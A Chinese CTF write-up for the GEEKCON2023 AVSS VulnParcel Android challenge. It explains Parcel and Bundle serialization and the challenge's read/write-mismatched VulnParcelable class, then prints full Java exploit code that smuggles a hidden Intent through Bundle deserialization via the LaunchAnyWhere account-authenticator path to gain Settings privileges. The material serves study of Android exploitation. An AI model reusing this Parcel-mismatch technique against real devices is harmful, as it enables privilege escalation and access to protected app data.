GEEKCON2023 AVSS Competition-VulnParcel Writeup
Created September 4, 2023
本文内容仅用于个人存档和技术交流学习,禁止使用文中内容进行未授权或恶意的攻击行为。
1. 前言
八月份参加了AVSS挑战赛,第一次打这种Android漏洞利用的比赛,比赛的两天只写出来了APP层的expReceiver和ZipZip,和前几名的队伍相比主要是VulnParcel没写出来(其他的内核题不太会qwq),故在赛后复盘一下这道Parcel漏洞利用的题目。
赛题与exp下载链接:https://github.com/learjet5/GEEKCON2023-AVSS
在分析具体题目之前,需要先介绍一下前置知识。
1.1 Parcelable对象
在Android开发过程中,常常需要在进程间进行类对象的传递,系统一般会将这些对象放到Intent或者Bundle里面进行数据传递,这一过程中就会涉及序列化和反序列化的操作。其中,序列化是将对象转换为可以传输的二进制流(二进制序列)的过程,这样我们就可以将结构化数据转化为可以在网络传输或者保存到本地的流(序列),从而进行数据传输;反序列化则是从二进制流(序列)恢复出类对象的过程。
Parcelable是Android为开发者提供的序列化的接口,其相对于Serializable接口的使用相对复杂一些,但Parcelable的效率也要比Serializable高得多。一个类要想支持序列化的数据传输,就需要实现Parcelable接口。Parcelable接口的实现类必须要有一个非空的静态变量 CREATOR 用于从Parcel中恢复原始对象,其重载了createFromParcel
函数;同时也需要重载接口中的两个函数:writeToParcel
用于将原始对象序列化并写入Parcel,describeContents
只针对一些特殊的需要描述信息的对象返回1、其他情况返回0。
一个对象在实现Parcelable接口时,需要通过Parcel
类实现write和read的方法来完成序列化/反序列化。Parcel
可以理解为实现各个对象序列化/反序列化的数据工具,其存储的是序列数据,其可以通过parcel.marshall()
将自己转化为字节序列,用于在调试过程中查看parcel的序列化数据内容。简单来说,Parcel
提供了一套机制,可以将序列化之后的数据写入到一个共享内存中,其他进程通过Parcel
可以从这块共享内存中读出字节流,并反序列化成对象进而使用。该过程如下图所示。
Parcel
可以包含原始数据类型(通过各种对应的方法写入,比如writeInt()
,writeFloat()
等),也可以包含Parcelable对象(通过writeParcelable()
等实现),其相关读写操作的实现可以在AOSP源码frameworks/base/core/java/android/os/Parcel.java
中进一步查看。

1.2 Bundle数据结构
在 Andorid 中,Bundle类是一个类似HashMap的数据结构,其以键值对的形式存储数据。
可序列化的Parcelable对象一般不单独进行序列化传输,而是需要通过Bundle对象携带。例如, Android中进程间通信频繁使用的Intent对象中通常会携带一个Bundle对象,利用Intent.putExtra(key, value)
方法,可以往Intent对应的Bundle对象中添加键值对(Key Value)。Key为String类型,而Value则可以为各种数据类型,包括Int、Boolean、String和Parcelable对象等等,Parcel类中维护着这些类型的信息及其序列化读写方法。
Bundle本身也是实现了Parcelable接口的,从序列化数据的角度来理解Bundle对象的内容:
- 开头是固定的:4字节Bundle长度 + 4字节魔数0x4C444E42 。
- 然后通过
writeMap()
存储实际的Bundle数据。先是采用parcel.writeInt()
写入4字节的键值对数量,然后依次是每个key-value形式的键值对:key采用parcel.writeString()
写入,即”4字节length+4字节对齐的string“的形式;value则采用parcel.writeValue()
写入,writeValue时依次写入4字节Value类型和Value本身,Value类型的int值见frameworks/native/libs/binder/ParcelValTypes.h
,Value本身的字节序列格式由Parcel.writeXXX(p, flags)
决定。
参考Bundle风水,我们还可以把序列化后的Bundle对象存为文件进行研究。
事实上,frameworks/base/core/java/android/os/Parcel.java
中也实现了readBundle()
和writeBundle()
函数,来对Bundle对象进行parcel的序列化读写操作。
2. 题目概述
本题在Android Framework的代码中,以patch的方式添加了一个有漏洞的VulnParcelable类,代码如下所示。
public final class VulnParcelable implements Parcelable {
private String TAG = "VulnParcelable";
private int opt;
private int o1;
private int o2;
private byte[] mPayload;
public VulnParcelable() { }
// @UnsupportedAppUsage
private VulnParcelable(Parcel in) {
readFromParcel(in);
}
// 反序列化
// opt=0: 只读一个o1
// opt=1: 先读o2,然后读一个size,o2>0才会再读一个buf[size]
public void readFromParcel(@NonNull Parcel in) {
Log.d("VulnParcelable", "read from parcel");
opt = in.readInt();
if (opt == 0) {
o1 = in.readInt();
Log.d("VulnParcelable", "read o1: "+o1);
} else if (opt == 1) {
o2 = in.readInt();
Log.d("VulnParcelable", "read o2: "+o2);
int size = in.readInt();
Log.d("VulnParcelable", "read size: "+size);
if (o2 > 0) {
mPayload = new byte[size];
in.readByteArray(mPayload);
Log.d("VulnParcelable", "readByteArray");
}
}
}
@Override
public int describeContents() {
return 0;
}
@Override
// 序列化
// 漏洞点:opt=1, o2<=0时不会把length写入,但readFromParcel时又会在校验o2正负值之前先读长度值,造成读写的mismatch。
public void writeToParcel(@NonNull Parcel dest, int flags) {
Log.d("VulnParcelable", "writeToParcel");
dest.writeInt(opt);
if (opt == 0) {
dest.writeInt(o1);
Log.d("VulnParcelable", "write o1: "+o1);
} else if (opt == 1) {
dest.writeInt(o2);
Log.d("VulnParcelable", "write o2: "+o2);
if (o2 > 0) {
dest.writeInt(mPayload.length);
dest.writeByteArray(mPayload);
Log.d("VulnParcelable", "write writeByteArray: "+mPayload.length);
}
}
}
public static final @android.annotation.NonNull Parcelable.Creator<VulnParcelable> CREATOR = new Parcelable.Creator<VulnParcelable>() {
@Override
public VulnParcelable createFromParcel(Parcel in) {
return new VulnParcelable(in);
}
@Override
public VulnParcelable[] newArray(int size) {
return new VulnParcelable[size];
}
};
}
由于Parcelable的序列化和反序列化(或者说对Parcel的读写)方法均为自定义的,且读写过程中需要对类的各个成员进行数据操作,其中就可能出现一些差错,进而对整个Parcel的数据产生影响。
本题中的漏洞就是由VulnParcelable类中的Parcel读写操作不一致导致的,在VulnParcelable的成员数据满足某个条件时,读parcel和写parcel之间会存在一个Int的偏差。
因此,我们只需要构造的VulnParcelable对象满足opt=1 && o2<=0
,就会能够触发Parcel Mismatch漏洞。结合patch来看,flag位于Setting APP的FilesDir中,而Setting APP中提供了⼀个root-path的FileProvider,可以通过该FileProvider读取flag。
3. 环境搭建
在讨论漏洞利用思路之前,我们需要先搭建一个方便调试的环境。
比赛主办方提供了ARM64架构的安卓emulator程序和patch之后的安卓系统镜像,同时还提供了Docker构建脚本,可以用于搭建赛题调试环境。但这要求我们拥有一台AArch64架构的服务器主机,比赛期间主办方提供了一个远程的AArch64服务器,但当时这个远程终端用起来并不是很丝滑,且每次编译exp app上传到远程服务器进行调试也很麻烦。
因此这里推荐另一种环境搭建方案(不是最佳但在没有ARM机器的情况下确实可行),只要能够在性能和硬盘大小尚可的x86服务器上编译AOSP项目,即可在Windows主机上用Android Studio进行exp的开发、调试。
操作步骤:
-
下载Android12的AOSP源码。
# 可参考网上其他博客 mkdir -p ~/aosp && cd ~/aosp repo init -u https://mirrors.tuna.tsinghua.edu.cn/git/AOSP/platform/manifest -b android-12.0.0_r20 repo sync # 下载耗时可能较长,下载文件多达200G左右
-
根据题目中的README.md,对AOSP源码进行patch。
# patcher.sh是题目给的脚本 /bin/bash patcher.sh patch AOSPPROJ PATCHFILE
-
编译出x86_64架构的Android系统镜像,并替换Android Studio中AVD某个虚拟机的文件。
cd ~/aosp source build/envsetup.sh lunch sdk_phone_x86_64 # 指定编译选项 make -j24
运行上述命令,就能在
aosp/out/target/product/emulator_x86_64
下编译出x86_64架构的系统镜像和emulator程序等文件了。在Android Studio的AVD Manager中,创建一个Android12的虚拟机(比如命名为"Pixel 3a API 31 AVSS")。
从前面服务器上编译得到的
aosp/out/target/product/emulator_x86_64/
下拷贝下图中的文件,覆盖新建虚拟机所在文件夹(C:\Users\xxxxx\.android\avd\Pixel_3a_API_31.avd\
)中的同名文件即可。其中除了各img文件,kernel-ranchu也是必须拷贝的文件,否则新的虚拟机可能无法开机。 -
在Android Studio中选择我们自己魔改过的虚拟机进行调试。
至此,我们就在Windows主机上搭建了一个友好且方便测试的题目环境了。
4. 漏洞利用
根据前面对题目的分析,在数据满足特定条件的情况下,对VulnParcelable
对象进行一次序列化读写,就会造成4字节Int数据的错位。
要对这一漏洞进行利用,还需要借助Android系统本身的一些行为。设想这么一种情况:A收到了一串攻击者构造的数据,做了安全检查,此时数据都是正常,检查通过后传给B;B想着A检查通过了就不再检查了,但从A到B之间又经过了一次读写,此时B读到的内容可能已经被换成非法内容了,这样系统在进行后续操作时(比如启动一个Intent)就可能会产生一些意想不到的恶意行为。
查阅相关资料后发现,Android系统中账号服务相关的功能可以满足上面我们设想的漏洞触发场景:

其具体特性不再详细介绍,可以参考身份验证功能的介绍 和 Android官方仓库中的相关漏洞的利用代码(launchAnyWhere)进行修改。我们把重点放在exp的构造上。
在此之前,需要补充一下Parcel中String对象的二进制存储形式:对于每一个字符,采用2字节存储;同时最后的字节序列长度需要满足是4的倍数,不足则补零。比如,长度为7的字符串,在Parcel对象中的二进制长度为16字节(7*2+2)。
构造恶意Parcel对象的代码如下所示,其中generate(Intent intent)
函数的参数是我们希望通过Settings App以系统权限启动的恶意intent:
public class expVulnParcel implements IGenerateMalformedParcel{
private static final int VAL_PARCELABLE = 4;
private static final int VAL_INTEGER = 1;
private static final int VAL_BYTEARRAY = 13;
@Override
public Parcel generate(Intent intent) {
//Bundle bundle = new Bundle();
Parcel obtain = Parcel.obtain();
Parcel obtain2 = Parcel.obtain();
Parcel obtain3 = Parcel.obtain();
// 准备工作,参考launchAnyWhere写的
obtain.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse"); // 相当于3次writeInt
obtain.writeInt(1);
// obtain的最外层是一个Bundle,Bundle中包含攻击payload
int bundleLenPos = obtain.dataPosition();
obtain.writeInt(-1);
obtain.writeInt(0x4c444E42);
obtain2.writeInt(3); // Bundle的键值对数目
// 1. 依次构造Bundle中的三个键值对
obtain2.writeString("launchanywhere"); // key string 1 (android.os.VulnParcelable的键值对)
obtain2.writeInt(VAL_PARCELABLE);
obtain2.writeString("android.os.VulnParcelable");
obtain2.writeInt(1); // opt
obtain2.writeInt(0); // o2
obtain2.writeInt(0); // size
// 长度为13的string实际上会占用28字节
obtain2.writeInt(13); // key string 2
obtain2.writeInt(3); // new key string 2
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(13); // new value 2: VAL_BYTEARRAY (刚好覆盖到"intent"前的位置)
obtain2.writeInt(56); // size
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(1); // value 2: VAL_INTEGER
obtain2.writeInt(1); // int
obtain2.writeInt(13); // key string 3
obtain2.writeInt(22);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(13); // value 3: VAL_BYTEARRAY
obtain2.writeInt(-1); // size域占位,在这个ByteArray里藏了一个intent的键值对;第一次读看不到,第二次读会露出来
// 2. 隐藏的恶意intent的键值对
int dataPosition = obtain2.dataPosition();
obtain2.writeString("intent"); // new key string 3
obtain2.writeInt(VAL_PARCELABLE); // new value 3
obtain2.writeString("android.content.Intent");
// obtain3用于存储想要launch的intent的序列化数据
intent.writeToParcel(obtain3, 0);
obtain2.appendFrom(obtain3, 0, obtain3.dataSize());
// 设置ByteArray的size域
int dataPosition2 = obtain2.dataPosition();
obtain2.setDataPosition(dataPosition - 4);
obtain2.writeInt(dataPosition2 - dataPosition);
obtain2.setDataPosition(dataPosition2);
// 3. 设置obtain也即Bundle的size域,然后把obtain2中的键值对们加进去
int dataSize = obtain2.dataSize();
obtain.setDataPosition(bundleLenPos); // 不再是0了
obtain.writeInt(dataSize);
obtain.writeInt(0x4c444E42);
obtain.appendFrom(obtain2, 0, dataSize);
obtain.setDataPosition(0);
return obtain;
}
}
在第一次反序列化Parcel读数据、检查安全问题的过程中,系统看到的Bundle数据包含以下三个键值对:
- key为"launchanywhere";value为一个
VulnParcelable
对象。 - key为长度为13的一个字符串(28 bytes);value为一个
Int
对象。 - key为长度为13的一个字符串(28 bytes);value为一个
ByteArray
对象,该ByteArray
会把恶意intent数据包含住,因此其长度需要在填充完后续payload后再设置。
在第二次反序列化Parcel读数据、进行启动intent等操作时,由于前面一次读写导致Parcel内容出现4字节偏移,系统看到的Bundle数据会发生变化,其包含以下三个键值对(此时不再有安全性检查):
- key为"launchanywhere";value为一个
VulnParcelable
对象。 - key为长度为3的一个字符串(8bytes);value为一个长度为56字节的
ByteArray
对象,其后紧跟着名为"intent"的键。 - key为"intent";value为一个
android.content.Intent
对象,此时暴露出来就不会被安全性检查发现。(攻击者的核心payload)
通过构造这样形式的恶意Parcel数据,结合launchAnyWhere的触发场景,就能够以Settings App的权限读取题目flag了。
5. 小结
- 解题时,多搜集相关漏洞类型的CVE及其利用代码。
- 理解漏洞原理时,多看AOSP相关源码,如
Parcel.java
。 - 后续可以学习一下新版本Android系统中针对Parcel序列化新引入的安全机制。